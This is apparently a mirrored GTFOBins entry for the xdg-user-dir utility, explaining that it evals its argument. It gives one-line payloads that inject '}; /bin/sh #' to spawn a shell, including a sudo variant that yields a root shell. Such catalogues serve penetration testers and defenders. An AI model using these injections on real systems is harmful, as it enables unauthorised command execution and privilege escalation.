mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
08c8fafec9
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
12 lines
310 B
Markdown
12 lines
310 B
Markdown
---
|
|
description: |
|
|
The current implementation of `xdg-user-dir` is basically `eval echo \${XDG_${1}_DIR:-$HOME}`, thus is can be easily used to achieve command execution.
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
xdg-user-dir '}; /bin/sh #'
|
|
sudo:
|
|
- code: |
|
|
sudo xdg-user-dir '}; /bin/sh #'
|
|
---
|